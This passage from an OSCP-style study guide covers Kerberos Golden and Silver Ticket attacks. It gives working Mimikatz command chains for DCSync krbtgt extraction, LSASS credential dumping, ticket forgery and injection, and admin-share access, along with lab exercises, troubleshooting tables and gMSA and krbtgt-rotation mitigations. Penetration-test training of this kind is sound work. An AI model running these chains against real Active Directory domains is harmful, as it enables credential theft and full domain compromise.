    -PrincipalsAllowedToRetrieveAllowedPassword "WEBSERVER01$", "WEBSERVER02$"

# Step 2: Install the gMSA on target servers
Install-ADServiceAccount -Identity svc_webapp

# Step 3: Configure the service to use the gMSA
# (IIS, SQL Server, etc. each have their own configuration steps)

# Benefits:
# - 120-character random password, auto-rotated every 30 days
# - Password never stored in plaintext anywhere
# - Cannot be dumped via LSASS (no logon session created)
# - Silver Ticket attack becomes practically impossible

11. OSCP Exam Relevance

11.1 How Often Does This Appear?

Exam Scenario Frequency Difficulty
Golden Ticket as part of AD pivot Common Medium-Hard
Silver Ticket for specific service access Occasional Hard
DCSync → Golden Ticket chain Very Common Medium
Identifying the difference between Gold and Silver Common (theory) Easy
Silver Ticket for MSSQL/CIFS access Occasional Hard

11.2 Typical OSCP Exam Scenarios

Scenario 1: Full Domain Compromise via Golden Ticket

You have obtained Domain Admin credentials on box X.
The final flag is on the Domain Controller.

Path:
1. Use DA credentials to perform DCSync and obtain krbtgt hash
2. Forge a Golden Ticket for the Administrator account
3. Use the Golden Ticket to access the DC's admin share
4. Read the root flag

Scenario 2: Silver Ticket for Service Access

You have local admin on a web server.
You need to access a file share on another server.

Path:
1. Dump LSASS on the web server to get the service account hash
2. Forge a Silver Ticket for CIFS on the file server
3. Access the file share and read the user/root flag

Scenario 3: Theory Question

Q: What is the difference between a Golden Ticket and a Silver Ticket?
A: A Golden Ticket is a forged TGT that requires the krbtgt hash and grants
   access to any service in the domain. A Silver Ticket is a forged TGS
   ticket that requires a service account hash and grants access to only
   one specific service.

11.3 Key Things to Remember for the Exam

  1. Golden Ticket = krbtgt hash = domain-wide access
  2. Silver Ticket = service hash = single-service access
  3. Both use kerberos::golden in Mimikatz (confusing but true — differentiate by parameters)
  4. Golden Ticket needs /krbtgt flag; Silver Ticket needs /target: and /service:
  5. Always use /ptt to inject the ticket
  6. krbtgt rotation must happen TWICE to invalidate Golden Tickets
  7. Neither attack generates KDC event logs — this is a common theory question
  8. Domain SID is required for both — know how to get it (whoami /user)

11.4 Common Exam Commands to Memorize

# Golden Ticket (memorize this pattern)
kerberos::golden /user:Administrator /domain:<NETBIOS> /sid:<DOMAIN_SID> \
    /rc4:<KRBTGT_HASH> /krbtgt /ptt

# Silver Ticket (memorize this pattern)
kerberos::golden /sid:<DOMAIN_SID> /rc4:<SERVICE_HASH> \
    /target:<FQDN> /service:<SERVICE> /user:<USERNAME> /domain:<NETBIOS> /ptt

# DCSync for krbtgt (memorize this)
lsadump::dcsync /user:krbtgt /domain:<FQDN>

# Get Domain SID (memorize this)
whoami /user

12. Lab Practice Suggestions

12.1 Golden Ticket Lab

Environment: Active Directory lab with at least 1 DC and 1 workstation.

Exercise 1: Basic Golden Ticket

  1. Obtain DA credentials on your lab domain
  2. Use Mimikatz to perform DCSync and extract the krbtgt hash
  3. Get the domain SID using whoami /user
  4. Forge a Golden Ticket for the Administrator account
  5. Verify with klist
  6. Access the DC’s C$ share
  7. Read a file from the DC

Exercise 2: Golden Ticket with Custom Groups

  1. Forge a Golden Ticket adding yourself to Domain Admins (RID 512)
  2. Use a non-existent username (e.g., $hidden)
  3. Verify you can still access admin resources
  4. Try adding Enterprise Admins group (RID 518) if in a multi-domain forest

Exercise 3: krbtgt Rotation

  1. Forge a Golden Ticket with the current krbtgt hash
  2. Rotate the krbtgt password once
  3. Verify the Golden Ticket still works (it should!)
  4. Wait for TGT expiration (or reduce TGT lifetime in GPO for the lab)
  5. Rotate the krbtgt password a second time
  6. Verify the Golden Ticket no longer works

12.2 Silver Ticket Lab

Environment: Active Directory lab with a file server or web server running a service under a dedicated service account.

Exercise 1: Basic Silver Ticket

  1. Set up a file share on a server using a dedicated service account
  2. Obtain the service account’s NTLM hash (dump LSASS on the server)
  3. Forge a Silver Ticket for CIFS on that server
  4. Access the file share from a different machine
  5. Verify you CANNOT access other services with the same ticket

Exercise 2: Silver Ticket for Different Services

  1. Set up IIS on a server with a dedicated service account
  2. Forge a Silver Ticket for HTTP on that server
  3. Access the web application
  4. Forge a separate Silver Ticket for CIFS on the same server
  5. Compare the two tickets using klist

Exercise 3: Silver Ticket vs Golden Ticket

  1. Forge a Silver Ticket for CIFS on a file server
  2. Try to access the DC — it should fail
  3. Now forge a Golden Ticket
  4. Access both the file server AND the DC
  5. Observe the difference in scope
Lab Platform Focus
HackTheBox: Active Directory Learn Path HTB Comprehensive AD attacks including ticket forgery
HackTheBox: Docker HTB Service account compromise → Silver Ticket
HackTheBox: Exchange HTB Kerberos attacks in enterprise environment
TryHackMe: Active Directory Attacks THM Beginner-friendly AD attack path
CrackMapExec / NetExec labs Self-hosted Practice credential dumping and ticket manipulation
Grimm’s AD Home Lab Self-hosted Full AD lab with all attack paths

13. Common Pitfalls and Troubleshooting

13.1 Golden Ticket Pitfalls

Problem Cause Solution
Ticket not injected Forgot /ptt flag Always include /ptt at the end of the command
Access denied after injection Wrong Domain SID Double-check the SID with whoami /user
Ticket shows wrong user Wrong RID in /id: parameter Use 500 for Administrator
Cannot access DC Domain name mismatch Use the NetBIOS name (short name) for /domain: in Mimikatz
krbtgt hash has two values Normal — old and new hash from previous rotation Use either one; the newer one is safer
AES ticket fails Domain enforces AES; you used RC4 hash Get the AES key from DCSync output and use /aes256: instead
Mimikatz says “error” Running without admin/segregated privileges Run Mimikatz as Administrator or SYSTEM

13.2 Silver Ticket Pitfalls

Problem Cause Solution
Wrong service name Used wrong service class Use setspn -Q */hostname to find the correct SPN
Wrong target hostname Used short name instead of FQDN Always use the FQDN (e.g., fileserver.corp.local)
Access denied Wrong service account hash Ensure you have the hash of the account running the target service
Ticket works but access denied Service account doesn’t have permissions on the resource The ticket grants authentication, not authorization. The service account needs proper ACLs.
Cannot access other services Expected behavior — Silver Ticket is service-specific Forge a separate Silver Ticket for each service you need

13.3 General Troubleshooting

# Always verify your ticket after injection
klist

# Check for the right ticket type
# Golden Ticket: Look for krbtgt in the Server column
# Silver Ticket: Look for the specific service (cifs, HTTP, etc.) in the Server column

# If klist shows no tickets, the injection failed
# Re-run the command with /ptt

# To remove all tickets (start fresh)
klist purge

# To check current domain info
klist get krbtgt

# To verify domain SID
(Get-ADDomain).DomainSID

# To verify the krbtgt hash you extracted
lsadump::dcsync /user:krbtgt /domain:corp.local
# Compare with the hash you're using in the ticket command

13.4 Debugging Checklist

□ Are you running Mimikatz/Rubeus as Administrator or SYSTEM?
□ Did you include the /ptt flag?
□ Is the Domain SID correct? (verify with whoami /user)
□ Is the domain name the NetBIOS name? (verify with systeminfo)
□ Is the krbtgt/service hash correct? (verify with DCSync/LSASS dump)
□ For Silver Ticket: Is the target hostname the FQDN?
□ For Silver Ticket: Is the service name correct? (verify with setspn)
□ Did you run klist to verify the ticket was injected?
□ Did you run klist purge before trying again? (stale tickets can interfere)

14. Quick Reference Card

Golden Ticket — One-Liner

# 1. Get krbtgt hash
lsadump::dcsync /user:krbtgt /domain:corp.local

# 2. Get Domain SID
whoami /user

# 3. Forge and inject Golden Ticket
kerberos::golden /user:Administrator /domain:CORP /sid:S-1-5-21-XXX-XXX-XXX \
    /rc4:<krbtgt_hash> /krbtgt /id:500 /groups:512,513 /ptt

# 4. Verify
klist

# 5. Access
dir \\dc01.corp.local\C$

Silver Ticket — One-Liner

# 1. Get service account hash (from LSASS dump on service server)
sekurlsa::logonpasswords

# 2. Get Domain SID
whoami /user

# 3. Find service SPN
setspn -Q */fileserver.corp.local

# 4. Forge and inject Silver Ticket
kerberos::golden /sid:S-1-5-21-XXX-XXX-XXX /rc4:<service_hash> \
    /target:fileserver.corp.local /service:cifs /user:attacker \
    /domain:CORP /ptt

# 5. Verify
klist

# 6. Access
dir \\fileserver.corp.local\C$

Key Differences — At a Glance

┌─────────────────┬──────────────────────┬──────────────────────┐
│                 │    GOLDEN TICKET     │    SILVER TICKET     │
├─────────────────┼──────────────────────┼──────────────────────┤
│ Forges          │ TGT                  │ TGS (Service Ticket) │
│ Needs hash of   │ krbtgt               │ Service account      │
│ Scope           │ Entire domain        │ One service only     │
│ Mimikatz flag   │ /krbtgt              │ /target: + /service: │
│ Rubeus cmd      │ golden               │ tgs                  │
│ Impact          │ Domain Admin         │ Service-level access │
│ Detection       │ Hard                 │ Very hard            │
│ Mitigation      │ Rotate krbtgt 2x     │ gMSA, strong passwords│
└─────────────────┴──────────────────────┴──────────────────────┘

Summary: Golden Tickets and Silver Tickets are both powerful Kerberos forgery attacks. Golden Tickets forge TGTs using the krbtgt hash for domain-wide access, while Silver Tickets forge TGS tickets using service account hashes for targeted service access. Both bypass the KDC entirely, making them extremely difficult to detect. Understanding when to use each — and how to properly gather the required information — is essential for OSCP exam success and real-world Active Directory penetration testing.